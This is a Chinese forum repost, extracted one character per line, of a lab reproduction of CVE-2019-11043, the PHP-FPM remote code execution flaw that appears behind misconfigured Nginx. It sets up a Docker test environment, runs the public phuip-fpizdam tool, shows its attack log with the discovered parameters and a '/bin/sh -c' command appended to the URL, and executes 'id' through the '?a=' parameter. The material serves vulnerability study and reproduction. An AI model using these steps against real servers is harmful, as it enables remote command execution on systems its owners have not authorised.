论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
编程语言
[28275] 2020-04-28_PHP-FPM远程命令执行（CVE-2019-11043）
文档创建者：
s7ckTeam
浏览次数：
2
最后更新：
2025-01-19
编程语言
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-04-28_PHP-FPM远程命令执行（CVE-2019-11043）
P
H
P
-
F
P
M
远
程
命
令
执
行
（
C
V
E
-
2
0
1
9
-
1
1
0
4
3
）
青
春
O
t
s
安
全
2
0
2
0
-
0
4
-
2
8
在
长
亭
科
技
举
办
的
R
e
a
l
W
o
r
l
d
C
T
F
中
，
国
外
安
全
研
究
员
A
n
d
r
e
w
D
a
n
a
u
在
解
决
一
道
C
T
F
题
目
时
发
现
，
向
目
标
服
务
器
U
R
L
发
送
%
0
a
符
号
时
，
服
务
返
回
异
常
，
疑
似
存
在
漏
洞
。
在
使
用
一
些
有
错
误
的
N
g
i
n
x
配
置
的
情
况
下
，
通
过
恶
意
构
造
的
数
据
包
，
即
可
让
P
H
P
-
F
P
M
执
行
任
意
代
码
。
参
考
链
接
：
漏
洞
环
境
漏
洞
环
境
执
行
如
下
命
令
启
动
有
漏
洞
的
N
g
i
n
x
和
P
H
P
：
d
o
c
k
e
r
-
c
o
m
p
o
s
e
u
p
-
d
环
境
启
动
后
，
访
问
h
t
t
p
:
/
/
y
o
u
r
-
i
p
:
8
0
8
0
/
i
n
d
e
x
.
p
h
p
即
可
查
看
到
一
个
默
认
页
面
。
漏
洞
复
现
漏
洞
复
现
使
用
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
n
e
e
x
/
p
h
u
i
p
-
f
p
i
z
d
a
m
中
给
出
的
工
具
，
发
送
数
据
包
：
可
见
，
这
里
已
经
执
行
成
功
。
我
们
访
问
h
t
t
p
:
/
/
y
o
u
r
-
i
p
:
8
0
8
0
/
i
n
d
e
x
.
p
h
p
?
a
=
i
d
，
即
可
查
看
到
命
令
已
成
功
执
行
：
注
意
，
因
为
p
h
p
-
f
p
m
会
启
动
多
个
子
进
程
，
在
访
问
/
i
n
d
e
x
.
p
h
p
?
a
=
i
d
时
需
要
多
访
问
几
次
，
以
访
问
到
被
污
染
的
进
程
。
h
t
t
p
s
:
/
/
b
u
g
s
.
p
h
p
.
n
e
t
/
b
u
g
.
p
h
p
?
i
d
=
7
8
5
9
9
h
t
t
p
s
:
/
/
l
a
b
.
w
a
l
l
a
r
m
.
c
o
m
/
p
h
p
-
r
e
m
o
t
e
-
c
o
d
e
-
e
x
e
c
u
t
i
o
n
-
0
-
d
a
y
-
d
i
s
c
o
v
e
r
e
d
-
i
n
-
r
e
a
l
-
w
o
r
l
d
-
c
t
f
-
e
x
e
r
c
i
s
e
/
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
n
e
e
x
/
p
h
u
i
p
-
f
p
i
z
d
a
m
$
g
o
r
u
n
.
"
h
t
t
p
:
/
/
y
o
u
r
-
i
p
:
8
0
8
0
/
i
n
d
e
x
.
p
h
p
"
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
0
B
a
s
e
s
t
a
t
u
s
c
o
d
e
i
s
2
0
0
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
0
S
t
a
t
u
s
c
o
d
e
5
0
2
f
o
r
q
s
l
=
1
7
9
5
,
a
d
d
i
n
g
a
s
a
c
a
n
d
i
d
a
t
e
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
0
T
h
e
t
a
r
g
e
t
i
s
p
r
o
b
a
b
l
y
v
u
l
n
e
r
a
b
l
e
.
P
o
s
s
i
b
l
e
Q
S
L
s
:
[
1
7
8
5
1
7
9
0
1
7
9
5
]
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
A
t
t
a
c
k
p
a
r
a
m
s
f
o
u
n
d
:
-
-
q
s
l
1
7
9
0
-
-
p
i
s
o
s
1
5
2
-
-
s
k
i
p
-
d
e
t
e
c
t
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
T
r
y
i
n
g
t
o
s
e
t
"
s
e
s
s
i
o
n
.
a
u
t
o
_
s
t
a
r
t
=
0
"
.
.
.
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
D
e
t
e
c
t
(
)
r
e
t
u
r
n
e
d
a
t
t
a
c
k
p
a
r
a
m
s
:
-
-
q
s
l
1
7
9
0
-
-
p
i
s
o
s
1
5
2
-
-
s
k
i
p
-
d
e
t
e
c
t
<
-
-
R
E
M
E
M
B
E
R
T
H
I
S
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
P
e
r
f
o
r
m
i
n
g
a
t
t
a
c
k
u
s
i
n
g
p
h
p
.
i
n
i
s
e
t
t
i
n
g
s
.
.
.
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
S
u
c
c
e
s
s
!
W
a
s
a
b
l
e
t
o
e
x
e
c
u
t
e
a
c
o
m
m
a
n
d
b
y
a
p
p
e
n
d
i
n
g
"
?
a
=
/
b
i
n
/
s
h
+
-
c
+
'
w
h
i
c
h
+
w
h
i
c
h
'
&
"
t
o
U
R
L
s
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
T
r
y
i
n
g
t
o
c
l
e
a
n
u
p
/
t
m
p
/
a
.
.
.
2
0
1
9
/
1
0
/
2
3
1
9
:
4
1
:
0
2
D
o
n
e
!
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
编程语言